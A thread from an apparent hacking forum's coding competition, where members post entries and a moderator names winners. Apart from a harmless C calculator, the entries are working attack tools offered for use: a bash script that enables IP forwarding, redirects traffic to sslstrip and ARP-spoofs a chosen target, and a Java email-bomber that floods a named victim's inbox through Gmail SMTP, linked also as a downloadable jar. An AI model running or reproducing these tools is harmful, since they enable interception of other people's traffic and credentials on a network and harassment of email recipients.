Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
Coding Competition [Finished]
  • Corrosion
    Posts: 121
    It's just a craptastic bash script to automate turning on ssl strip


    #! /bin/bash
    echo -n \"What Is Your Interface: \"
    read -e interface
    echo -n \"What Is The Router Ip: \"
    read -e gateway
    echo -n \"Target? Or Enter For All: \"
    read -e target
    echo -n \"Enter Post Back Port: \"
    read -e port
    clear
    echo Removing SSL From Your Network
    echo \"1\" > /proc/sys/net/ipv4/ip_forward
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $port
    clear
    echo Setting listening port to $port
    sleep 3
    clear
    echo -e \"Do you want to continue? y/n: \c\"
    read sslstripyn

    if [ $sslstripyn = \"y\" ]; then
    echo -e \"Starting sslstrip..\"
    xterm -geometry 100x12+1+500 -T SSLStrip -e sslstrip -a -k -f -l $port &
    else
    echo -e \"\" &
    fi

    echo -e \"Starting ARP Spoof\"
    sleep 3
    clear
    arpspoof -i $interface -t $target $gateway
    done
  • Zero-One
    Posts: 6
    Hello!
    I have a question!
    Can I still apply for this one?
    Im a C coder btw.
    Thanks!
  • Sh3llc0d3
    Posts: 1,910
    You can indeed zero-one, i've got a hard time with college at the moment with getting work in but it'll be decided soon who the winners are.
  • Zero-One
    Posts: 6
    Ok.
    I am signing in for this competition. (as a noob)
    Here's my code:

    /* I've had no ideas for this competition, so I've made a simple calculator. Hope you like it.

    Compiling and running this program:
    1) save this code in your home directory as calc.c
    2) open up a terminal and type in: gcc calc.c
    3) type ./a.out

    Program made by: Zero-One */


    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>


    int main () {

    system (\"clear\"); //clears the screen

    int s,s2; // s and s2 stands for selected
    float a,b,c; // variables that we are going to use in our operations

    mm: //mm stands for main menu
    printf (\"Choose what do you desire: \n\");
    printf (\"1) Adding\n\");
    printf (\"2) Substraction\n\");
    printf (\"3) Multiplication\n\");
    printf (\"4) Division\n\");
    printf (\"5) Exit\n\n\");

    printf (\"Enter the number of desired mathematical operations:\");
    scanf (\"%d\",&s);

    if (s==1) {

    printf (\"Please enter the first number:\");
    scanf (\"%f\",&a);

    printf (\"Please enter the second number:\");
    scanf (\"%f\",&b);

    printf (\"\n%f + %f = %f\n\",a,b,a+b);
    printf (\"\nThe result of adding was: %f \n\",a+b);

    printf (\"**********************************\n\");
    printf (\"\n Select next thing to do: \");
    printf (\"\n 1) Exit\");
    printf (\"\n 2) Choose another operation\");

    printf (\"Your selection: \");
    scanf (\"%d\",&s2);

    if (s2==2) {
    goto mm;
    }
    }

    if (s==2) {

    printf (\"Please enter the first number:\");
    scanf (\"%f\",&a);

    printf (\"Please enter the second number:\");
    scanf (\"%f\",&b);

    printf (\"\n%f - %f = %f\n\",a,b,a-b);
    printf (\"\nThe result of substraction was: %f \n\",a-b);

    printf (\"**********************************\n\");
    printf (\"\n Select next thing to do: \");
    printf (\"\n 1) Exit\");
    printf (\"\n 2) Choose another operation\");

    printf (\"Your selection: \");
    scanf (\"%d\",&s2);

    if (s2==2) {
    goto mm;
    }
    }

    if (s==3) {

    printf (\"Please enter the first number:\");
    scanf (\"%f\",&a);

    printf (\"Please enter the second number:\");
    scanf (\"%f\",&b);

    printf (\"\n%f * %f = %f\n\",a,b,a*b);
    printf (\"\nThe result of multiplication was: %f \n\",a*b);

    printf (\"**********************************\n\");
    printf (\"\n Select next thing to do: \");
    printf (\"\n 1) Exit\");
    printf (\"\n 2) Choose another operation\");

    printf (\"Your selection: \");
    scanf (\"%d\",&s2);

    if (s2==2) {
    goto mm;
    }
    }


    if (s==4) {

    printf (\"Please enter the first number:\");
    scanf (\"%f\",&a);

    printf (\"Please enter the second number:\");
    scanf (\"%f\",&b);

    printf (\"\n%f / %f = %f\n\",a,b,a/b);
    printf (\"\nThe result of multiplication was: %f \n\",a/b);

    printf (\"**********************************\n\");
    printf (\"\n Select next thing to do: \");
    printf (\"\n 1) Exit\");
    printf (\"\n 2) Choose another operation\");

    printf (\"Your selection: \");
    scanf (\"%d\",&s2);

    if (s2==2) {
    goto mm;
    }
    }


    printf (\"Thank's for using FreeCalc!\n\");
    return 0;
    }



    I could have done it much much shorter if I would use functions, but I'm to tired for that :)
  • Themself
    Posts: 3
    I released this at HaxMe earlier, so I'm not sure if this counts, but I'm still going to try.
    So to use it you put in your gmail user-name and password, subject, message, and recipient(any mail provider). Enjoy!
    http://i.imgur.com/t2g98.png


    For those of you that like downloading files from strangers over the internet: http://cid-c2c18eee74748f0d.office.live ... ilbomb.jar

    And here is the code:


    import java.awt.BorderLayout;
    import java.util.Properties;
    import javax.mail.Authenticator;
    import javax.mail.Message;
    import javax.mail.MessagingException;
    import javax.mail.PasswordAuthentication;
    import javax.mail.Session;
    import javax.mail.Transport;
    import javax.mail.internet.InternetAddress;
    import javax.mail.internet.MimeMessage;
    import javax.swing.BorderFactory;
    import javax.swing.JFrame;
    import javax.swing.JLabel;
    import javax.swing.JOptionPane;
    import javax.swing.JPanel;
    import javax.swing.JProgressBar;
    public class main{
    public static class SendMailUsingAuthentication
    {
    static boolean again = true;
    JLabel label;
    JProgressBar pb;
    static JFrame frame;
    private static final String SMTP_HOST_NAME = \"smtp.gmail.com\";
    private static final String SMTP_AUTH_USER = JOptionPane.showInputDialog(\"Please input your username ex. User@gmail.com.\");
    private static final String SMTP_AUTH_PWD = JOptionPane.showInputDialog(\"Please input your gmail password.\");
    private static final String emailMsgTxt = JOptionPane.showInputDialog(\"Enter your message.\");
    private static final String emailSubjectTxt = JOptionPane.showInputDialog(\"Enter you subject.\");
    private static short completedRuns = 0;
    private final static String[] emailList = {JOptionPane.showInputDialog(\"Who do you wish to email-bomb?\")};
    private final static short howManyEmails = Short.parseShort(JOptionPane.showInputDialog(\"How many emails do you wish to send?\"));
    public static void main(String args[]) throws Exception
    {
    SendMailUsingAuthentication smtpMailSender = new SendMailUsingAuthentication();
    smtpMailSender.postMail( emailList, emailSubjectTxt, emailMsgTxt, SMTP_AUTH_USER, howManyEmails);

    }
    public void postMail( String recipients[ ], String subject,
    String message , String from, int howMany) throws MessagingException
    {
    if (howMany <= 0){ JOptionPane.showMessageDialog(frame,
    \"Positive number please!\",
    \"I am mad\",
    JOptionPane.WARNING_MESSAGE);}
    boolean debug = false;
    JFrame frame = new JFrame(\"Progress\");
    pb = new JProgressBar(0, howMany);
    pb.setValue(0);
    pb.setStringPainted(true);
    label = new JLabel(\"Bombing in progress!\");
    JLabel labely = new JLabel(\"Bombing complete!\");
    JPanel panel = new JPanel();
    panel.add(pb);
    JPanel panel1 = new JPanel();
    panel1.setLayout(new BorderLayout());
    panel1.add(panel, BorderLayout.NORTH);
    panel1.add(label, BorderLayout.CENTER);
    panel1.setBorder(BorderFactory.createEmptyBorder(20, 20, 20, 20));
    frame.setContentPane(panel1);
    frame.pack();
    frame.setVisible(true);
    frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);;
    pb.setValue(0);
    for(;howMany >= 0;howMany--){ //BIG FOR LOOP!
    completedRuns++;
    pb.setValue(completedRuns);
    Properties props = new Properties();
    props.put(\"mail.smtp.host\", SMTP_HOST_NAME);
    props.put(\"mail.smtp.auth\", \"true\");
    Authenticator auth = new SMTPAuthenticator();
    Session session = Session.getDefaultInstance(props, auth);
    session.setDebug(debug);
    Message msg = new MimeMessage(session);
    InternetAddress addressFrom = new InternetAddress(from);
    msg.setFrom(addressFrom);
    InternetAddress[] addressTo = new InternetAddress[recipients.length];
    for (int i = 0; i < recipients.length; i++)
    {
    addressTo[i] = new InternetAddress(recipients[i]);
    }
    msg.setRecipients(Message.RecipientType.TO, addressTo);
    msg.setSubject(subject);
    msg.setContent(message, \"text/plain\");
    Transport.send(msg);
    }
    panel1.remove(label);
    panel1.add(labely, BorderLayout.CENTER);
    }
    private class SMTPAuthenticator extends javax.mail.Authenticator
    {
    public PasswordAuthentication getPasswordAuthentication()
    {
    String username = SMTP_AUTH_USER;
    String password = SMTP_AUTH_PWD;
    return new PasswordAuthentication(username, password);
    }
    }
    }
    }

    EDIT: Noob(I figured I'm new here)
  • Sh3llc0d3
    Posts: 1,910
    Right guys, I've come up with multiple winners who I think have come up with some fantasticly diverse ways to achieve the goal. While some of the entries I've seen a fair bit in the past, other's were good efforts for noobs to programming. Although I must say damn you to all you python coders, for anyone who doesn't know I'm not a py coder :(

    Zero-One, nice little calc, could improve the program with using functions and also goto is 'supposedly' bad practice. Why? It usually makes code hard to read (not the case here as it's a short code example) and also the there are usually better approaches which don't involve using the goto statement.

    Themself, whilst I'm not quick to judge, it would appear that your source is not just exclusive to haxme & iExploit. The source or very similar is also available on another site.

    Well done and apologies for the late reply, this time of year is manic for coursework etc. Enjoy the blue usernames!
  • Themself
    Posts: 3
    said:


    Themself, whilst I'm not quick to judge, it would appear that your source is not just exclusive to haxme & iExploit. The source or very similar is also available on another site.


    I would like to point out that I posted it on HaxMe before this person posted identical code on there. It even has the same picture, which the forum didn't allow to be posted as it wasn't a "trusted hoster." Thank-you, if you do so choose, for taking a second look at this.
    EDIT: It turns out this guy is also a member at HaxMe:http://haxme.org/forum/index.php?showuser=4544.
  • Sh3llc0d3
    Posts: 1,910
    said:


    said:


    Themself, whilst I'm not quick to judge, it would appear that your source is not just exclusive to haxme & iExploit. The source or very similar is also available on another site.


    I would like to point out that I posted it on HaxMe before this person posted identical code on there. It even has the same picture, which the forum didn't allow to be posted as it wasn't a "trusted hoster." Thank-you, if you do so choose, for taking a second look at this.
    EDIT: It turns out this guy is also a member at HaxMe:http://haxme/forum/index.php?showuser=4544.


    I didn't look into the situation just wanted to make you aware :)
This discussion has been closed.
All Discussions